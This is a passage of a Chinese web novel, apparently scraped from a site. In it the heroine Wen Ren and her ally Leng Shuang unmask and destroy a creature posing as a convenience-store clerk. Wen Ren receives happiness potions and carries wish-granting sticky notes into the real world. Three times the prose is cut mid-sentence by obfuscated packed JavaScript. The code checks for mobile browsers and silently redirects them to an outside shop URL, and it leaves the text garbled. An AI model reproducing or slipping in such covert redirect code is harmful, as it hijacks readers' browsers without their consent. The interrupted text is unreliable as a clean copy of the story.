这说明周围并没有丧诡。 她当时还以为自己的一切推断是错误的。 可是，如果丧诡影响信号是有一定范围的呢？ 如果丧诡离通讯器足够远，是否就无法影响信号了呢？ 而离温刃足够远，并且去了仓库里的人，那就只有一个人。 就是张涛。 温刃知道自己的幸福值可能不太够用，她决定算计一把这个丧诡，于是迅速给冷霜发去了信息。 【我在13层如愿便利店，遇到一只隐藏丧诡，先别过来，你在外，看到仓库异常，立马出手】 因为便利店的窗户都是玻璃的，从外面都能看到这里，甚至能看到仓库大门。 温刃在给冷霜发完消息后，收起了通讯器。 可这个瞬间，张涛居然出来了。 而收起通讯器，代表她无法看到信号的变化。 因为张涛无法触碰，就无法施加幻觉。 而张涛，会想办法，分散她注意力让她无法看通讯器的信号变化。 从那个时候开始，她就开始算计张涛。 她知道，张涛长久留在仓库里，一定是在做局。 这个局是为了她而设计的。 所以，她故意上钩，故意花光自己的幸福值，她在赌。 赌在一定距离下，张涛这个丧诡感受不到第二个过来的异能者。 她要让张涛把所有注意力放在她的身上。 在猜出一切后，她就知道张涛的异能是制造幻觉。 她在假装，假装仓库里变异的那些东西是真的，却在不断消耗幸福值。 她要让张涛放松警惕。 温刃虽然有把握能对张涛造成伤害，可是她现在没有把握能接近到张涛并取到他的晶核。 她需要帮手。 于是，冷霜来了。 刚在那个“欢迎光临”欢迎的人，正是冷霜。 又怎么可能有人在这个巧合来便利店买东西呢。 一切都是算计好的罢了。 * 另一边。 张涛一脸的惊讶，他似乎感应到了什么，不可置信看向门外。 下一秒，他明白了什么，恶狠狠地看向温刃：“外面居然还有一个异能者，该死的，究竟是什么时候……” “好啊，那个时候你拿出通讯器是在联系其他异能者！” 他本来以为温刃的幸福值都已经被消耗完毕了，这下子根本就是稳赢的局面。 他甚至拿着刀，就能不费吹灰之力地解决面前这个异能者。 这一切多么轻松啊。 他自从变成了丧诡之后，早就已经失去了人类的情感，可是他保留着人类的思维，变得更聪明了。 他知道异能者这些家伙们根本不好对付，他们大多拥有各种各样奇怪的能力。 并且跟人类不同的是，异能者们可以完美地利用幸福手环，将自己的幸福注入其中，超度丧诡。 从那时候起，张涛就知道，所有的异能者都是一个巨大的威胁。 他知道自己已经不是人类，想要让自己活下去，想要让自己不被超度，那就需要伪装自己的身份。 于是他选择伪装成了一个普通的店员，继续售卖这里的货物。 可是就在这一天，他发现店里来了一个不速之客…… 也就是温刃。 身为丧诡，天生就对异能者拥有特殊的感觉，所以在温刃进入便利店的那一刹那，他就已经感受到了温刃是一位异能者。 那个时候他知道自己必须做局。 他不知道这个异能者过来的原因究竟是什么，但他知道自己绝对不能暴露，他要想办法杀死这个异能者。 他要为丧诡扫清障碍。 异能者死的越多，丧诡越有优势。 可他的异能并不强大。 自从使用了便利贴后，他发现自己只能制造一定程度的幻觉，必须要接触才能制造。 所以他知道自己没有战斗能力。 他只能算计。 好像变成丧诡之后，他的头脑变得清晰不少，智商也变高了。 于是他一步步谋划，假装进入仓库，其实是利用接触制造幻觉。 没错，其实仓库根本没有什么怪物，那些都是他制造的幻觉。 他终于等到温刃的幸福值归零，只要提起菜刀就可以杀死这个异能者。 简直是太轻松了。 可……一切为什么出了变故？ 为什么会有第二个异能者出现？ 张涛看向温刃，他居然在温刃的脸上看到了笑容。 那个笑容来得格外奇怪，带有一种在疯狂绝境之中逆转翻盘的疯狂。 啧。 果然啊，这群异能者幸福值时高时低，最后也都会变成疯子啊。 原来，他是被这个小温算计了。 温刃的一切都是伪装！ 下一秒，那疯狂的黑色头发席卷而来，狠狠扎入他的眉心之中。 张涛看到自己的晶核被卷了出去。 门外一个戴着眼罩的女孩，抓着那个晶核，放在了自己的手腕上：“超度！” 张涛看向温刃，冷哼一声：“我输了……你果然很聪明啊，你居然在算计我……我认了……” 他的身体逐渐消散，只剩下了一个脑袋。 可是那双眼睛的眼神里始终透露着一丝诡异。 “咳咳咳，你以为一切真的会那么容易结束吗？”张涛看向温刃。 “如愿永在……” “如愿永在！” 这是张涛留下的最后一句话。 他消散前的双目看向温刃，意味深长。 三张透明的便利贴飘落在地，却没有跟着他一起消散。 温刃快速将那东西捡起来，收了起来。 果然，之前放在柜台上的便利贴，只有第一张是真的，下面的都是假的。 张涛把真正的便利贴留在了身上，他不可能把这么重要的东西都放在外面。 可是，张涛既然已经走到了穷途末路，为什么不写下便利贴再次实现愿望，以此摆脱绝境呢？ 毕竟他已经是丧诡了，并不害怕便利贴会把许愿者变成丧诡的诅咒。 难道是……丧诡无法使用便利贴？ 如果是这样的话，那就说明，之前的老太太确实是人类，只是在使用了便利贴之后才变成了丧诡。 这便利贴到底是什么存在？ 为什么这么诡异？ 果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534453|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然，这种恐怖的东西就不能让它面世。 之后，冷霜走了进来。 她今天换了一个粉色的爱心眼罩，穿着一件浅灰色的短外套，里面是白色的内搭。 “温刃，你说的真对呀，这里确实是有一只丧诡。”冷霜环顾了一下四周，目光落在温刃的手腕上。 她眉头立刻皱了起来：“我就说你怎么叫我过来？你幸福值怎么变成零了？你这也太拼命了吧，这样很危险的呀，差一点你也要变丧诡了！” “而且，你也知道，丧诡这些家伙们狡诈异常，如果他们利用陷阱让你幸福值再次降低，你也会变成和他们一样！” 温刃听着冷霜喋喋不休，露出微笑：“没事的，冷霜，这次多亏了你，我才能解决一切。” “其实这之前还出现了两只丧诡，我因为解决他们，幸福值已经消耗了太多，这次只能找你来帮忙。” “川哥不知道这件事，我是偷跑出来的，所以我这次没有找他。” 冷霜问：“话说，你怎么跑到这个便利店里了？我记得我在新闻上刷到过这个便利店，据说他们这里有如愿便利贴什么的，实现愿望？也太假了吧？” 可便利贴的事情是真的，温刃亲眼所见。 温刃早就想好了说辞：“我想着我不能再当家里蹲了，川哥又不让我去当执法官，我刚好也看到广告了，就想着来这里面试，而且工资还挺高的，结果没想到这里藏着丧诡。” 她没说自己的真实目的。 这一次之后，她真的怕了。 有的丧诡拥有制造幻觉的能力，完全是可以假装人类的。 没有人能确定，自己身边的人究竟是不是人。 但冷霜看起来没什么不对劲，可温刃还是决定少说一点。 “冷霜，你以后遇到事情，找我，我一定来。”温刃认真地说。 冷霜叹了口气，拍了拍她的肩膀：“话说，温刃，你运气还真是不好啊，先是面试遇到C级周正明，差点死掉，现在又一下子遇到三只丧诡。” 温刃就跟捅了丧诡窝一样。 点太背了。 温刃不由苦笑一声，好像她的运气确实不怎么好，总是遇到丧诡。 两人交谈了一会儿，聊了一些细节。 温刃隐瞒了便利贴的事情，只说了老太太和老头的事，以及张涛的幻觉。 冷霜听完，联系了公司的人来处理现场。 温刃去仓库深处翻了一下。 在一堆散落的纸箱后面，她找到了一个积满灰尘的储物盒，打开一看，里面放着一张员工证。 【姓名：曾豪】 【职位：如愿便利店员工】 只是，他的照片上画着一个大大的红叉。 冷霜走了过来，看到这一幕，轻咦一声：“咦？这人死了？” 温刃心头一紧：“死了？” 冷霜指着照片上的红叉：“对啊，上面都画了红叉，这人尸体肯定送到停尸房了，话说，温刃，你怎么这么惊讶？” 温刃知道自己不能让冷霜怀疑她不知道红叉代表的含义，于是说道：“哦，那个丧诡员工骗我说这人活着，说他能跟我换班来着，原来是在骗我打工。” 冷霜看样子没有怀疑，只是摇了摇头：“这些丧诡，真是满嘴谎话。” “以后要小心些，跟它们打交道太费脑子了。” 温刃把员工证收好，带着冷霜在隔壁的餐厅吃了顿饭。 冷霜胃口不错，一边吃一边吐槽队里的琐事，温刃笑着，偶尔应两句。 可她的心里，心事重重。 曾豪居然死了。 也就是说。 她那天在医院见到的曾豪…… 其实是停尸房爬出来的尸体。 35. 担忧 温刃跟冷霜分别之后就回了家。 没过多久，林焕就带着大包小包的东西回了家，其中还有一个手提看起来就很贵重的盒子。 没错，他不是回自己的家，而是回到了温刃的家。 温刃没想到林焕这么早就回来了，于是问道：“今天怎么这么早回来了？” 林焕叹了口气，将大包小包的东西放下：“哎呀，我这是受队长所托，提前回来了。” “温刃，你不知道，好像有哪里出事了，川哥急匆匆去开会，据说这件事已经惊动了塔主跟公司高层。” 塔主？ 温刃是第一次听到这个词。 还有公司高层，是指的创世安防的高层吗？ 林焕喝了口水，继续说道：“你也知道，塔主可是咱们44号高塔的主人，也是这个塔里最珍贵的存在，在塔主之下，就是那帮公司高层了。” “他们也是这座塔的核心，没想到这么大的人物都被惊动，我猜这件事实在是不简单。” “反正听说他们就开了一场会，川哥也参与了，冷霜缺勤，所以她不知道，据说最后的讨论结果就是川哥带着整个第三小队深入。” “同时，公司那边派了一位得力打手辅助。” “我本来还想偷听的，但是川哥不跟我说，大人物身旁都不让你靠近，我也就没获得到一手消息。” 温刃皱起眉头：“居然发生了这么大的事？” 林焕继续说道：“对呀，要知道咱们队长可是B级异能者，小队里的其他成员都是C级，彼此之间相互配合。” “而且，公司那位得力打手也是B级，还是进攻型，也就是说，算上川哥，队伍里有两位B级。” “这个阵容，哪怕是遇到了A级丧诡，都绝对有一战之力的。” “这次，他们整个小队倾巢而出，反正遇到的事情不是一般的大。” “哦对，据说那个地方卷进去不少人，领域范围很大。” “丧诡的领域啊，一旦进去就很难出来，那里边可是有数不清的丧诡，只有找到领主才能解决这一切。” “丧诡毕竟拥有智商，找到领主也不是一件容易的事情，哪怕川哥有那么强大的空间能力，如果被算计了，也是很难施展拳脚。” 温刃没想到居然会发生这么大的事情，只能在一旁安慰：“我觉得川哥肯定能解决的。” 林焕点点头：“是啊，川哥毕竟带了一整个小队呢，如果这都解决不了，那就只有第一小队和第二小队倾巢而出，这样的话，高塔也就没有剩下多少异能者了。” “肯定不会有那样的局面产生的。” “这也是比较巧，温刃，这下队长就不知道你偷跑出去的消息了。” 温刃：她该庆幸吗？ 怪不得秦朗川没有找她谈话，原来是被绊住了。 说到此处，林焕皱起眉头，坐在温刃身旁：“温刃，说实话，我也不希望你到处再往外跑了。” 温刃看着林焕突然严肃，她自己也跟着紧张起来。 林焕说道：“你这一次又遇到了丧诡，如果不是冷霜告诉我，我完全不知道你的幸福值又一次降到了零。” “你知不知道这到底有多危险？哪怕遇到一点令你心情不悦的事情，你都很有可能幸福值降低，降低之后……” “那你会变成丧诡的。” “我不知道你的异能等级，没入职执法官就不会测试，所以，万一你应付不过来呢？” “我们虽然之前并不认识，虽然我们都是孤儿，都在塔底流浪，但是川哥收留了我们，让我们成为了彼此的家人。” “我不希望失去你，也不希望失去川哥。” 林焕说到此处，有些哽咽，他好像很不想失去温刃。 准确来说，他跟原主关系很好，他不想失去的，是原主。 可原主……早就已经死了。 温刃其实也不知道，原主究竟是死了还是什么。 她跟这个所谓的原主长得一模一样，有没有可能，她根本不是魂穿，而是身穿呢？ 但，如果这样的话，她在现实世界的身体又怎么解释呢？那才是她原本的身体。 温刃感觉有些搞不懂。 温刃安慰道：“好了，别伤心了，我这次不是好好回来了吗？” “而且我只是想去便利店找个工作，没想到那个店员居然是丧诡伪装的，还好我提前识破并且找了冷霜帮忙。” “放心吧，我不傻，我让自己幸福值归零，只是为了设计那个店员罢了。” 温刃指了指林焕：“话说你又穿着外裤坐在沙发上了，小心我给川哥告状哦。” 林焕意识到了什么，急忙拿了个毯子垫在身下。 他想到什么，然后又去转身，从那个特别华丽的箱子里把东西拿过来。 “温刃，不说我都忘了，这次提前回来也是川哥的吩咐，我是为了把这个东西交给你的。” 盒子打开，里面放着的正是两只药剂。 温刃之前见过这个药剂。 之前在好得快医院里的时候，秦朗川正是拿出了这一支药剂给温刃注射，注射之后幸福值就提高了30。 但是现在放在面前的居然有两只药剂。 温刃总感觉这个东西并不是那种流传于大众之上的货物，因为看起来包装很严密，应该是比较珍贵的物品：“这次怎么有两只？” 林焕在一旁解释：“其实原本只有一只的，今天队长一天都没干正事，就是一直在为你向上申请，向公司那帮高层申请。” “他把之前解决周正明的事情全部功劳推到你的身上，公司那边认可了你的成果，于是发放了这支药剂给你。” “但是今天，冷霜突然回去汇报了你在便利店的成果，公司这边决定再给你发放第二支药剂。” “准确来说，第一支药剂是川哥为你争取来的，第二支药剂是冷霜为你争取来的。” “这个药剂实在是很难获得，一般情况下，只有执法官人员在幸福值跌破50的时候才有资格申请。” “但这次因为你解决了两起丧诡事件，公司那边决定给你发放。” “这个东西比较稀有，注射一支可以提高30的幸福值，但是最好间隔24小时再注射第二支，否则效果会减半。” 林焕想到了什么，眼神中布满有些担忧：“据说这次川哥过去执行任务，带了一箱子药剂，是塔主跟公司高层一起发放的。” “要知道，这东西的产量实在是太稀少了，这可是珍贵物资。” 这也足以证明，这药剂究竟是有多么稀有。 说实话，温刃心里是有点触动的。 队长跟冷霜为了她付出了很多。 秦朗川还算是原主的亲人，可冷霜跟她萍水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536611|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相逢…… 温刃感觉好像她在这个世界里也没有那么孤单了。 林焕在一旁咋咋呼呼：“温刃，你幸福值上涨了5点！” 温刃露出微笑，看来她感受到了被关爱的幸福：“太好了。” 之后，温刃注射第一支药剂，现在幸福值已经稳定到了35点。 林焕之前大包小包带来的东西，里边大部分都是食物。 他说也不确定秦朗川究竟什么时候才能回来，于是拿着秦朗川打的钱买了一堆速食产品。 毕竟秦朗川无法回来做饭了。 两人拿着速食产品开始热饭。 林焕看说明书看得一头雾水，拿着一个方方正正的加热盒研究了半天，不知道按哪个键。 温刃凑过去看了一眼，随手按了一下侧面的蓝色按钮。 加热盒一下子启动了，里面的食物开始冒热气。 林焕松了一口气：“还是你聪明。” 结果话音刚落，加热盒忽然发出一声尖锐的“滴滴”声，然后“砰”地一下，盖子弹开了，一团热气夹杂着食物碎屑喷了出来，溅了林焕一脸。 温刃：？ “……” 林焕：“这什么破玩意儿。” 温刃忍着笑，递了张纸巾过去。 两个人手忙脚乱地把加热盒收拾好，又换了一个新的，总算把饭热好了。 温刃跟林焕聚在一起吃过饭后，林焕就回了自己屋子。 走之前，林焕叮嘱道：“温刃，不许乱跑，川哥给我请了假，吩咐我盯着你，现在是非常时刻。” “川哥说……他也不确定那个地方的灾难会不会扩散……” “我俩养得起你，不用跑出去找工作。” 温刃挥挥手：“放心吧，我不乱跑。” 送走了林焕，温刃嘴上说着，心里却有了计划。 她准备去好得快医院看看。 可她不确定这一切是否是曾豪做的局。 因为一切太过于巧合了。 而且，店员张涛死之前说的“如愿永在”…… 这句话令人毛骨悚然。 因为如愿便利贴可以制造丧诡，可在这里工作的张涛已经被超度了。 没有人知道这家便利店里，真正能实现愿望的便利贴到底有多少张，又有多少人使用了这便利贴。 没有人知道，这便利贴究竟制造出来了多少丧诡。 但可以肯定的是，曾豪就是丧诡，他的身上并且拥有一件可以压制变异的寿衣。 “他身上为什么会有这样一件特殊物品？”温刃皱眉。 假设曾豪身上的寿衣，是因为便利贴而诞生的，那他究竟许下了什么愿望？ 看来，想要知道一切的缘由，想要压制变异，就必须去好得快医院一趟…… 但温刃不准备直接过去。 如果可以，她想带着秦朗川过去当保镖，这样比较稳妥些。 “算了算了，先不想这些事了，等川哥回来再说吧。” 她倒是希望秦朗川安全回来，不然少了一个打手和家人很可惜。 温刃看向时钟。 现在已经5:59了。 因为之前跟林焕捣鼓怎么热饭，浪费了不少时间。 她该睡觉了。 温刃躺在床上，沉沉睡去。 这一次，她睡得很香。 36. 苏醒 叮铃铃…… 六点的闹钟终于响起，因为有之前的先见之明，温刃迷糊间就已经关掉了脑子。 她坐起身子，发现自己果然出现在了现实世界。 “果然，现实世界的早上六点我会准时醒来，晚上六点我会准时睡去。” 也就是说，在现实世界，她睡觉的这段时间，意识来到了高塔世界。 在高塔世界晚上睡觉的那段时间，她来到了现实世界。 但是……如果在睡觉的那段时间里，遇到了危险，身体受到了袭击，她究竟是会死……还是彻底摆脱穿越这场闹剧呢？ 温刃不敢赌。 哪怕能复活，她处于强制睡眠状态的话，再怎么重生，也无法做出反应。 Zero站在床边，歪着头看她，笑眯眯地摆了摆手：“小刃，醒啦？” 温刃看到那张熟悉的脸，心里莫名踏实了一些，点了点头：“嗯，醒了。” 正准备站起身来伸懒腰，温刃却发现有什么东西掉了出来。 Zero第一时间蹲下身去，好奇说道：“咦……这个东西看起来好熟悉哦，等等，这好像是高塔世界的东西……便利贴？” 便利贴？ 听到这个，温刃缓缓低下头，眼睛瞪大。 因为，高塔世界里，她从张涛身上获取的如愿便利贴，居然出现在了现实。 那三张便利贴静静躺在地上，似乎有种魔力，吸引着人疯狂写下愿望。 只要写下愿望，就能实现…… 哪怕，许下绝对不可能实现的愿望，也一定会被它视线！ 快，快许下愿望，这样就能获得想要的一切了！ 你不是想考公吗？ 许下愿望，你绝对能考上！ 温刃感觉脑子里一直有个声音劝她去使用便利贴，去使用这个恐怖的东西，她像是被蛊惑一样，缓缓对那个东西伸出了手…… Zero的声音就在此时传来：“小刃！你怎么了，我喊你很多声你都不理我！” 温刃这时候才回过神来，迅速收回了手。 没想到，她居然被这个东西蛊惑了。 不过，这到底是怎么回事？ 这东西居然可以被带回来？ 等等，温刃举起了手，她手腕上的寿衣碎片不也被带回来了吗？ 也就是说，贴身物品可以被带回来？ 不，不太对，如果真是这样的话，她穿在高塔世界的紧身衣也会被带回来。 那就只有一种可能了…… 那就是，拥有某种特殊功能的物品可以被带回来。 首先，寿衣是拥有压制变异的效果。 而所谓的如愿便利贴，则可以实现愿望，并扭曲愿望。 这两个东西，都是拥有某种特殊功能的特别物品。 那幸福手环呢？ 它为什么没有被带回来？ 温刃之前猜测它其实是一种特殊物品，现在看来，难道不是？ 温刃一把按住Zero伸过去的手，虽然什么也没碰到：“别碰。” Zero愣了一下，缩回手指，歪头看温刃凝重的表情：“怎么了？这东西有问题？” 温刃点点头，把高塔世界里张涛和便利贴的事简单说了一遍，还有她刚刚被蛊惑的事情。 Zero越听眉头皱得越紧，听到最后，小声嘀咕了一句：“实现愿望……然后变成丧诡？这也太坑了吧，而且，这个东西太可怕了。” 温刃点点头，说出了自己的猜测：“而且，我觉得，变化丧诡之后，无法再使用它。” Zero摸了摸下巴：“唔，也就是说，如果我许下一个我希望自己许愿后不想变成丧诡，但想要获得力量的愿望，会怎么样呢？就是，许愿的时候严谨一点。” 温刃也没实验过，于是摇了摇头：“我也不知道，不过，这个东西可以当作一种底牌。” 如果以后遇到了危机，还是可以拿出来…… 但那也是万不得已的时候。 就跟所谓的死后复活一样，不到万不得已，温刃绝对不相使用，也不想别被控制。 也不知道，这便利贴究竟能实现多大的愿望…… 温刃现在手上有三张便利贴，她想了想，留下两张藏在柜子里，紧紧锁死，剩下一张则放在了身上，用透明袋子包裹，以备万一。 当然，留在身上，也是为了方便带到高塔世界里。 至于剩下两张，藏在现实，也不会被高塔世界的人发现。 温刃想到了什么，问起Zero：“话说你们世界有异能者，有丧诡，居然也有这样带有特殊功能的物品，这些物品是怎么回事？” “它们到底是怎么诞生的？还有异能者是怎么诞生的？” 温刃有太多问题想问了。 她知道的太少了，就连异能者的等级，都是从周正明那里知道的，但看林焕当时的反应，周正明说的应该不是假话。 但是因为她没有高塔世界的记忆，不敢去问那边的人，她就只能在Zero身上猛薅。 好在身边有个Zero，不然温刃还真不知道怎么了解这个世界，并不引起怀疑了。 Zero认真思索一阵过后，点了点头：“也对，你还不知道高塔世界的基本信息了，之前不问我，我都忘记说了。” 温刃看着她：“现在说也不晚。” Zero盘腿坐在空中，开始讲课：“我先说丧诡的诞生吧，据说，它们来自于某种未知的污染，这种污染会纠缠上所有不幸的人，并将它们改造，变成一种未知形态。” “有人抓过活的做研究吗？”温刃问。 Zero点点头：“抓过，但研究发现，它们早就没有生物形态了。” “它们身上的细胞会因为晶核的存在提供能量，源源不断生长，以此达到不死不灭的效果。” “但，这股力量害怕幸福。” “某日突然间，创世安防推出了幸福手环，以零点划分了人类跟丧诡的界限，也让异能者拥有能力超度丧诡。” “异能者的诞生，则是另一个极端，当人的幸福值急剧下降，但没有达到负数，则会觉醒异能。” “至于你说的物品……有些人变成丧诡后，会有概率带着它们执念最深重的物品一起变异，这些物品人类也可以使用，是介于丧诡跟异能者之间的一种特殊存在。” 温刃低头看了看手里的便利贴，把它翻过来倒过去地看：“所以，这是某个人的执念？” “应该是吧，具体是谁的就不知道了。”Zero说。 温刃听后，一下子悟了。 原来是这样吗？ 如愿便利贴居然是某个人最执念深重的物品？ 是张涛制造的？ 不太对。 张涛也使用了便利贴，也就是说，如愿便利贴的诞生在那之前，难道……这跟便利店老板有些关系吗？ 但温刃懒得思考，如愿便利贴这东西太过于危险，她不敢随便使用。 只有如愿便利贴的来历，深究这个好像也没有用。 她现在最重要的，还是等秦朗川完成任务后出来，拿到寿衣压制变异。 至于下一步，温刃还没想好，但她大概率会加入执法队，毕竟钱多。 Zero则继续说道：“至于为什么这样，没有人能研究清楚，我们一直在跟丧诡争斗，但它们生生不息，有的太过于强大，导致大家一步步退居到了高塔里。” “唉，说实话真羡慕你们世界啊，一个和平的世界，生活在这样的世界里，才是幸福啊。” 温刃抿了抿唇，真的幸福吗？ 其实无论世界怎么样，世上总是有不幸的人在苦苦挣扎罢了。 温刃想到了什么：“对了，Zero，我找了一位执法官朋友，按照你的特征搜索，并没有找到你的身份。” “据说这样只有三种情况，要么你是塔外的人，要么你是其他高塔的人，要么……你不存在。” 但Zero都出现在她身边了，肯定是存在的。 只是系统里没有她的身份罢了。 Zero似乎已经料到了这个结果，她并不意外：“唔，好吧，没事的小刃，说不定我想想就想起来了。” 温刃想到了之前在新辰科技实验室负四层的时候，那个时候她好像听到了Zero说“想起来了”。 Zero当时恢复了记忆吗？ 但那之后，温刃进行回档，Zero相当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温刃没有否认。 Zero继续说道：“我也不想辜负你的期待，但这些事情信息量太大了，小刃，我想一个人静静。” “或许……我能想起什么。” 她看向温刃，眼里没了之前那股雀跃，没了之前那股好奇，变得有些深沉，甚至落寞。 温刃看着Zero这副略显颓废的样子，想拥抱她，安慰她，可温刃也不知道说些什么。 良久，她吐出一句：“好。” * 温刃早起去上了一节早八，课上忙七忙八只完成了一半项目，之后就没课了。 她在图书馆把项目补完，吃了午饭，才发现手机上收到了一条消息。 【骁张跋扈：紧急紧急，号外号外！】 【骁张跋扈：［红包］】 骁张跋扈的红包三秒抢完。 别惹我我很温刃是运气王。 这次温刃终于拿到了手气王，看来她的运气并不是一直很不好。 偶尔也有好的时候。 【美美：？】 【烬然是你：？】 温刃见状跟着接龙。 【别惹我我很温刃：？】 【骁张跋扈：新的怪谈诞生了，我手上有一手消息，感兴趣的速来！】 【美美：我OK，我下午没课】 【烬然是你：我晚上有一节，下午不影响】 【别惹我我很温刃：我也没课】 【骁张跋扈：就我有课［流泪］，不过我找借口请假了】 【烬然是你：不会还是说你肚子疼吧】 【骁张跋扈：对啊】 【烬然是你：你这个借口都用了多少回了？导员不腻吗？】 【别惹我我很温刃：导员这么好？】 【美美：为啥啊，羡慕了……】 【骁张跋扈：可能，也许，我爸捐了一栋楼？】 【美美：我恨有钱入……】 【骁张跋扈：［定位］】 【骁张跋扈：速来，我请客，包路费】 温刃看了一眼，还是决定专门回一趟家去见Zero。 Zero还待在家里，看着阳台发呆，似乎陷入了沉思。 温刃悄悄走过去，在门边最显眼的位置留下了一张小纸条。 【Zero，我去老地方找会长聚会，我尽量早点回家】 温刃没有打扰Zero，悄悄关上门，下楼离去。 她有时候感觉，这像是多了一位家人。